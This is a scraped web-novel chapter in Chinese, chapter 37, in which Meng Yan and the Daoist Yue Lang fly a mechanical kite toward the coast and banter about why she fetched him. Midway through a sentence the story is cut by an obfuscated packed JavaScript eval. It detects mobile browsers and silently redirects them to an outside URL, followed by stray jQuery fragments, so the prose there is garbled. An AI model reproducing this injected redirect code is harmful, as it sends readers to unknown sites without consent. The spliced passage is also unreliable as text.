默认冷灰
24号文字
方正启体

37. 赶路途中

作者:寺闲啾本书字数:K更新时间:
    “好了晏姑娘!”


    越朗大步流星闪到她跟前,抖了抖肩上与孟晏绑得如出一辙的包袱,躬身将她向院里请去,“劳烦姑娘动几步,在下要给没人住的小屋挂锁了。”


    孟晏从门口挪开,站在不远处等他动作,那人放下手回头一笑,她便知道可以出发了。


    “正门在那边呢晏姑娘!”


    依照越朗对她的认识,这人可以说是过目不忘,尤其是记下方向和建筑,不然也不会轻轻松松就找到自己。


    他毫不怀疑她的记忆,只觉得她是另有打算,便跟着她朝反方向走去。


    意料之外但又十分合理的,机关鸢停在自己屋后,在已经没了呛人烟气的焦黄草地上安然等着。


    越朗同穿了件玄色道袍,两人往机关鸢中一坐,看架势不像是外出游玩的,倒像是……


    他果断没再细想下去,在孟晏的眼神提醒下,机灵地把手扶上了边栏,坐得乖巧端庄,等待驾驶位上的伟大指挥带他起飞。


    哒哒几声,木鸟向上浮动,而后一个加速朝天边冲去,尽管早在心中做好了准备,真正被风刮晕头脑的瞬间,越朗还是没能忍住,“哇”了好大一声。


    “晏姑娘,有个问题你还没回答我呢,现在我都上了贼鸟了,总可以告诉我答案了吧?”


    孟晏没侧脸去看他,她确定以及肯定,某人会自己把说了一半的话补完。


    “你当真是顺道来的?”


    问话的人正盯着自己的脸,企图从中发现什么破绽,然而孟晏只是微微动了唇角,当着他的眼睛点了下头。


    “哦!那这说明我师门位置还挺好的,谢谢晏姑娘赞美!”


    且不说夸哪了,就位置而言,和“好”有一定差距,但也不多,何况这方面没法继续进步,四舍五入,就算“好”吧。


    .


    头上顶着冒火光的大太阳,座椅上的越朗却只觉清风拂面,不便打扰孟晏,他就自己左顾右盼,在座位周围找着悄悄奋斗的机关。


    担心他一个摇头晃脑栽下去,孟晏适时回望了一眼,对上隔壁诚挚的求知目光,她立刻转了头。


    “哎呀晏姑娘,你就告诉我在哪吧,闲着也是闲着,我同你唠嗑还会使你分心,不如给我找点事做。”


    孟晏表情未变,手也没从方向盘上撤下,只是右脚向后挪了一步,缓解麻木,越朗便恍然大悟道:“明白了,在后面放货的地方。”


    孟晏眉尾挑动,越朗又道:“嗯,看来猜对了。”


    他这没头没尾的话不知怎地戳中了孟晏,让她目视前方笑了起来。


    行至山门,耳畔似有嘈杂之音,两人相视后齐齐朝下望去。


    但见石柱旁,两道身影争相蹦着叫着,隔得太远,声音传来时已不清晰,仅能辨出“师兄”这样的常见字节。


    “师兄到外地玩几天!”


    也不管他们能否听清,越朗扯着嗓子同师弟们回喊。


    “不对啊。”他喃喃道,引来了身侧孟晏的注意,“他们应该没见过机关鸢才是,怎么会知道我此刻就坐在上面呢?”


    孟晏意味深长地瞥了他一眼,收回目光,仿佛无事发生。


    “也不该是同晏姑娘你交流过啊,他们虽聪慧,但手语不是只靠猜就能读懂的,更不用说碰上你这样的,手势都不做,把话写在眼睛里。”


    虽然是在挑自己的刺,孟晏却恍若未闻,专心致志控着方向,朝前路未卜的云层中攀去。


    .


    景物变幻万千,山石接二连三相逢又离别,树丛由高转为了矮,小桥流水人家渐渐映入眼帘。


    “晏姑娘,我想请教个小问题,你只用点头或摇头回答我就好。”


    越朗从边栏外缩回身子,眼巴巴凑在孟晏手边,期待她能恍惚间点个头。


    不知是自己眼花,还是她的确点了头,越朗不放过任何可能的机会,乘胜追问:“平安谷是不是在这个方向?”


    他把手臂伸到孟晏面前,朝一无所有的云指了过去。


    孟晏循着他的手指扫过,点点头。


    平安谷不是什么隐士居所,它的存在和位置一直是为人所知的,包括后来收取订货信,他们还往各地分发了平安谷的在外联系点,越朗会知道这里,算不上奇怪。


    “我师门是不是在那个方向?”


    手指掉了个头,朝另一角指去。


    孟晏似乎猜到了他接下来要说的话,但还是配合地回答了这个问题,点了点头。


    “所以说,你从你家到我师门,并不顺路,是不是?”


    他问得认真,她笑得也认真,在对方反复的“是不是”中,孟晏又点了头。


    “那也就证明……”越朗难得断了他的提问,目不转睛看着孟晏,“你是特地去找我的咯。”


    这句话不带问意,孟晏本可以置之不理,鬼使神差地,她第五次点了头。


    不只是她,连越朗都为她的动作一滞,谁也没想到她会点下这次头。


    “为什么?”有人得寸进尺道。


    依着他定下的规矩,孟晏摇了摇头,嘴角的笑意却是不减。


    看到她这般表情,越朗才想起一开始说好的是“点头或摇头”,那眼下这次摇头就很耐人寻味了。


    究竟是不愿回答呢,还是碍于规矩不能回答?


    恐怕只有孟晏知道了,她若不说,自己想破脑袋也想不出个结果来。


    .


    时间在不言不语中流得飞快,发觉下方景象再次变化时,已经到了相当陌生的新地方。


    放眼望去,半是水半是沙,海面不似溪湖般或幽静或透澈,青白莹亮的水波荡起片片轻浪,拍在沙上,裹着沙土退去后不久,又再次携浪奔来。


    再往远处,几艘渔船悠悠飘着,船头还站了几只水鸟,不时有网从船上甩出再拉起,水鸟兴奋叫着,接来主人投喂的鲜鱼。


    越朗看得正入神,怀中突然被砸了一下,他不明所以低头看去,见腿上躺着块饼子,毋庸置疑是谁送来的。


    “它都吃上了,我怎么好饿着你?”


    没察觉孟晏肩上的包袱是何时解开的,她同自己一样,手里捏着块烧饼,方才为了打手势,特地叼了它一会儿,现在话说完了,终于可以用手拿着吃了。


    “也没有很饿,看的东西太新鲜,倒把吃饭这事给忘了,平常我只在书里见到过这些,一度以为十分遥远,不想沾了晏姑娘的光,竟能亲眼看到。”


    越朗捧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435470|182512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着烧饼,开口便是喋喋不休。


    孟晏再度叼起自己的饼,朝他手中指道:“吃吗,不吃就还我,省得浪费粮食。”


    嘴角因为饼的缘故不能太过动作,故而她整张脸,只有眉毛和眼睛在无声示威,本该严肃的,可面对这副气鼓鼓又被迫憋着的模样,越朗扬起个不带掩饰的笑。


    “吃吃吃,晏姑娘给的,自然是世间最上乘,岂有不吃的道理?”


    贫嘴结束,他和孟晏一人一饼,自高处欣赏着海面的无边风光。


    只啃饼块是一件乏味的事,幸在眼下有景,身旁有人。


    孟晏嚼着干巴的面,神思早已游到天外,被越朗咋呼回来。


    “晏姑娘,那边有好多渔船。”


    码头静静矗立在海岸,受着波涛洗卷,顶上挂着的红灯笼有些年纪了,褪了色破了孔,在凌厉的海风中摇摇欲坠。


    它周围浩浩荡荡拥着数十艘小船,随着海浪左右动晃,被绳索紧紧困在岸口,没能去追逐望不到尽头的自由。


    有船,有码头,就有人群居住,越朗便是想告诉她,可以准备落地了。


    默不作声调转了方向,孟晏把机关鸢控制在海面上,和码头有段距离,不妨碍渔民作业,也不影响木鸟上的视野。


    “那片沙滩是个不错的选择,没船没人,距码头还不算远,在那儿落下后往东走不久,应该就会见着本地居民了。”


    孟晏点头,照越朗说的方位降去,眼看要贴上沙面,他状似不经地回头来问:“万一我是在胡说呢,晏姑娘怎么不看便信了?”


    机关鸢在地上稳好,孟晏一个翻身跳了出来,越朗与她同时落地,横隔着木条冲他眨眨眼。


    偌大的木鸟顷刻间被主人收回,随手挂在腰间。


    两道墨色身影并肩踩在松软的沙地上,一人两手空空惬意漫步,另一人背着两个包袱,在她身后一步不落紧跟着。


    “晏姑娘,这机关鸢怎么看都不轻吧,纵然它缩成了巴掌大,寻常手段也难系在腰间。”


    越朗刚合了嘴,就见收缩版的小机关鸢朝他扑来,忙用两只手去接,生怕这小家伙在自己面前摔坏了。


    重量是依然存在的,托起它时,越朗甚至皱了眉,但这份沉重转瞬即逝,仿佛方才的感觉并不存在,它比小了数倍的机关雀还要轻,捧着他,就像手中没有放置任何东西。


    越朗迟疑地问身前的背影:“我的符纸还有这般作用?”


    这效果不是轻重符造成的,它只能改变分量,做不到置若无物,那便只该是出自自己之手的陈年旧符了。


    可创符之人也是在今天才见识到它的效果,还是从旁人手中得知的。


    “既然能浮空,不就算无重,那在哪浮不都是浮?”孟晏颇为耐心地为天才道士解释着。


    “那这样说的话,用在机关鸢上的符纸如果直接贴在人身上,人本身不就可以随心所欲飞来飞去了?”


    越朗惊喜后收到了孟晏送来的一记眼刀,暗暗把嘴闭了回去。


    人如若真借着符纸上了天,无法自行调整方向、高度和速度,连符纸何时会失效落地都不能确定,那听起来不太像个好方法。


    万幸自己年少无知,没能灵光乍现。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)